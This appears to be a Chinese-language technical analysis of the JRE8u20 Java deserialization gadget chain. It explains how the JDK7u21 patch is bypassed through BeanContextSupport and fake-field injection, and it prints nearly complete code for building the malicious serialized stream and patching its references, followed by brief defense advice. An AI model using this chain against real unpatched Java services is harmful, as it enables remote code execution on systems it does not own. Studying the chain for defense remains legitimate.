JRE8u20 反序列化利用链及序列化流构造技术分析
字数 1491 2025-08-05 08:17:46
JRE8u20反序列化利用链及序列化流构造技术深度分析
0x01 序列化基础知识
序列化数据结构解析
Java序列化数据由以下关键部分组成:
-
基本头部信息
STREAM_MAGIC(0xaced):标识序列化数据开始STREAM_VERSION(0x0005):序列化协议版本
-
对象描述部分
TC_OBJECT(0x73):标识接下来是一个对象TC_CLASSDESC(0x72):类描述符- 类名长度和值
serialVersionUID:序列化IDclassDescFlags:类描述符标记fieldCount:成员属性数量- 字段描述(类型、名称等)
TC_ENDBLOCKDATA(0x78):类描述结束标记- 父类描述(如果有)
-
对象数据部分
- 字段的实际值
TC_REFERENCE(0x71):引用已序列化的对象
-
Handle机制
- 每个序列化对象都会被分配一个handle
- 后续引用该对象时使用handle值
- 示例handle值:0x007e0000、0x007e0001等
反序列化关键过程
defaultReadFields:负责初始化序列化数据中的Fields字段- 对于没有字段的类(如HashSet),不会执行字段反序列化
- 可以通过在序列化数据中人为添加字段,强制反序列化过程读取这些字段
0x02 JRE8u20漏洞原理分析
漏洞背景
JRE8u20是JDK7u21反序列化漏洞的绕过补丁,主要解决以下问题:
-
JDK7u21补丁在
AnnotationInvocationHandler.readObject中增加了代理类检查:private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } // ... } -
检查出现在
defaultReadObject之后,对象已被还原
绕过思路
-
利用包裹类:使用一个能捕获异常的类包裹
AnnotationInvocationHandler- 确保
AnnotationInvocationHandler被正确反序列化 - 捕获并处理检查抛出的异常
- 确保
-
字段注入:在序列化数据中注入不存在的字段
- 字段中包含序列化类,包裹
AnnotationInvocationHandler - 可注入位置:
- HashSet的字段
- HashSet成员的字段
- 字段中包含序列化类,包裹
-
选择包裹类:使用
java.beans.beancontext.BeanContextSupportprivate synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { synchronized(BeanContext.globalHierarchyLock) { ois.defaultReadObject(); initialize(); bcsPreDeserializationHook(ois); if (serializable > 0 && this.equals(getBeanContextPeer())) readChildren(ois); deserialize(ois, bcmListeners = new ArrayList(1)); } } public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException { while (count-- > 0) { try { child = ois.readObject(); bscc = (BeanContextSupport.BCSChild)ois.readObject(); } catch (IOException ioe) { continue; // 关键:捕获并继续执行 } catch (ClassNotFoundException cnfe) { continue; // 关键:捕获并继续执行 } // ... } }
序列化流构造技术
-
基本结构:
Object[] ser = new Object[]{ STREAM_MAGIC, STREAM_VERSION, // LinkedHashSet部分 TC_OBJECT, TC_CLASSDESC, LinkedHashSet.class.getName(), -2851667679971038690L, (byte)SC_SERIALIZABLE, (short)0, TC_ENDBLOCKDATA, // HashSet部分 TC_CLASSDESC, "java.util.HashSet", -5024744406713321676L, (byte)(SC_SERIALIZABLE|SC_WRITE_METHOD), (short)0, TC_ENDBLOCKDATA, TC_NULL, // HashSet数据 TC_BLOCKDATA, (byte)12, (short)0, (short)16, (short)16192, (short)0, (short)0, (short)2, // 第一个元素(Templates对象) templates, // 第二个元素(代理对象) TC_OBJECT, TC_PROXYCLASSDESC, 1, Templates.class.getName(), TC_ENDBLOCKDATA, TC_CLASSDESC, Proxy.class.getName(), -2222568056686623797L, SC_SERIALIZABLE, (short)2, // 伪造字段 (byte)'L',"fake", TC_STRING,"Ljava/beans/beancontext/BeanContextSupport;", (byte)'L',"h",TC_STRING,"Ljava/lang/reflectInvocationHandler;", TC_ENDBLOCKDATA,TC_NULL, // BeanContextSupport数据 TC_OBJECT, TC_CLASSDESC, BeanContextSupport.class.getName(), -4879613978649577204L, (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD), (short)1, (byte)'I',"serializable", TC_ENDBLOCKDATA, // 父类数据 TC_CLASSDESC, BeanContextChildSupport.class.getName(), 6328947014421475877L, SC_SERIALIZABLE, (short)1, (byte)'L',"beanContextChildPeer", TC_STRING,"Ljava/beans/beancontext/BeanContextChild;", TC_ENDBLOCKDATA, TC_NULL, // 类数据 TC_REFERENCE,baseWireHandle+25, 1, // AnnotationInvocationHandler TC_OBJECT, TC_CLASSDESC, "sun.reflect.annotation.AnnotationInvocationHandler", 6182022883658399397L, (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD), (short)2, (byte)'L', "memberValues", TC_STRING, "Ljava/util/Map;", (byte)'L', "type", TC_STRING, "Ljava/lang/Class;", TC_ENDBLOCKDATA, TC_NULL, map, Templates.class, // 结束 TC_BLOCKDATA, (byte)4, 0, TC_ENDBLOCKDATA, TC_REFERENCE,baseWireHandle+29, TC_ENDBLOCKDATA }; -
引用修补技术:
public static byte[] patch(byte[] bytes) { for (int i = 0; i < bytes.length; i++) { if (bytes[i] == 0x71 && bytes[i+1] == 0x00 && bytes[i+2] == 0x7e && bytes[i+3] ==0x00) { i = i + 4; if (bytes[i] == 1) bytes[i] = 4; if (bytes[i] == 0x0a) bytes[i]=0x0d; // 修改templates引用 if (bytes[i] == 2) bytes[i]= 9; } } return bytes; } -
Map构造技巧:
- 初始构造使用键值相同的Map:
HashMap map = new HashMap(); map.put("f5a5a608", "f5a5a608"); - 实际利用时通过修改引用指向恶意Templates对象
- 优点:避免序列化数据中出现大量TC_REFERENCE,简化构造过程
- 初始构造使用键值相同的Map:
0x03 工具与最佳实践
-
SerialWriter工具:
- 由QAX团队开发
- 提供面向对象的序列化数据生成方式
- 自动处理Reference计算等复杂问题
- GitHub地址:https://github.com/QAX-A-Team/SerialWriter
-
构造建议:
- 优先使用工具生成基础序列化结构
- 手动调整关键引用和字段
- 特别注意handle值的正确性
- 测试不同JDK版本的兼容性
0x04 防御建议
- 升级至最新JDK版本
- 对反序列化操作进行严格限制
- 使用白名单机制控制可反序列化的类
- 监控和拦截异常的序列化数据格式
参考资源
- Java 8u20反序列化漏洞分析
- [JRE8u20反序列化漏洞分析]
- [深度 - Java 反序列化 Payload 之 JRE8u20]
- pwntester/JRE8u20_RCE_Gadget
- QAX-A-Team/SerialWriter